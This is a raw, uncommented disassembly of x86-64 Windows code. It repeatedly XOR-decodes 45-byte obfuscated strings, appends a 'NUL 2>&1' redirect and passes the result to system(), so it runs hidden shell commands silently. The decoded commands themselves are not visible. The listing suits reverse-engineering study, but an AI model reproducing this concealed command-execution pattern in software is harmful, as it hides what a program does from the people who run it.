paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400133f0
cmp r8d, 0x2d
jge 0x140013525
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400134f0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2480]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x24a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x24c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x24e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x24e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x24c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x24a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2480]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2460]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2440]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2500]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2520]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5168]
lea rcx, [rsp + 0x6b]
call fcn.14001ee20
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140013775
mov r8d, ebx
cmp r14d, 2
jl 0x140013733
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140013640
cmp r8d, 0x2d
jge 0x140013775
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140013740
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2540]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2560]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2580]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x25a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x25a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2580]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2560]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2540]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2520]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2500]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x25c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x25e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5198]
lea rcx, [rsp + 0x6c]
call fcn.14001ee60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400139c5
mov r8d, ebx
cmp r14d, 2
jl 0x140013983
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140013890
cmp r8d, 0x2d
jge 0x1400139c5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140013990
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2600]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2620]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2640]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2660]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2660]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2640]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2620]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2600]
call fcn.140022f30
nop
lea rcx, [rbp + 0x25e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x25c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2680]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x26a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x51c8]
lea rcx, [rsp + 0x6d]
call fcn.14001eea0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140013c15
mov r8d, ebx
cmp r14d, 2
jl 0x140013bd3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140013ae0
cmp r8d, 0x2d
jge 0x140013c15
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140013be0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x26c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x26e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2700]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2720]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2720]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2700]
call fcn.140022f30
nop
lea rcx, [rbp + 0x26e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x26c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x26a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2680]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2740]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2760]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x4e98]
lea rcx, [rsp + 0x6e]
call fcn.14001eee0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140013e65
mov r8d, ebx
cmp r14d, 2
jl 0x140013e23
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140013d30
cmp r8d, 0x2d
jge 0x140013e65
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140013e30
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2780]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x27a0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x27c0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x27e0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x27e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x27c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x27a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2780]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2760]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2740]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2800]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2820]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5228]
lea rcx, [rsp + 0x6f]
call fcn.14001ef20
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400140b5
mov r8d, ebx
cmp r14d, 2
jl 0x140014073
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140013f80
cmp r8d, 0x2d
jge 0x1400140b5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140014080
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2840]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2860]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2880]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x28a0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x28a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2880]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2860]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2840]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2820]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2800]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x28c0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x28e0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5258]
lea rcx, [rsp + 0x70]
call fcn.14001ef60
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140014305
mov r8d, ebx
cmp r14d, 2
jl 0x1400142c3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400141d0
cmp r8d, 0x2d
jge 0x140014305
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400142d0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2900]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2920]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2940]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2960]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2960]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2940]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2920]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2900]
call fcn.140022f30
nop
lea rcx, [rbp + 0x28e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x28c0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2980]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x29a0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5288]
lea rcx, [rsp + 0x71]
call fcn.14001efa0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140014555
mov r8d, ebx
cmp r14d, 2
jl 0x140014513
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140014420
cmp r8d, 0x2d
jge 0x140014555
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140014520
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x29c0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x29e0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2a00]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2a20]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2a20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2a00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x29e0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x29c0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x29a0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2980]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2a40]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2a60]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x52b8]
lea rcx, [rsp + 0x72]
call fcn.14001efe0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400147a5
mov r8d, ebx
cmp r14d, 2
jl 0x140014763
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140014670
cmp r8d, 0x2d
jge 0x1400147a5
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140014770
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x2a80]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x2aa0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2ac0]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x2ae0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ae0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2ac0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2aa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2a80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2a60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x2a40]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x2b00]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x2b20]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x52e8]
lea rcx, [rsp + 0x73]
call fcn.14001f020
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400149f5
mov r8d, ebx
cmp r14d, 2
jl 0x1400149b3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
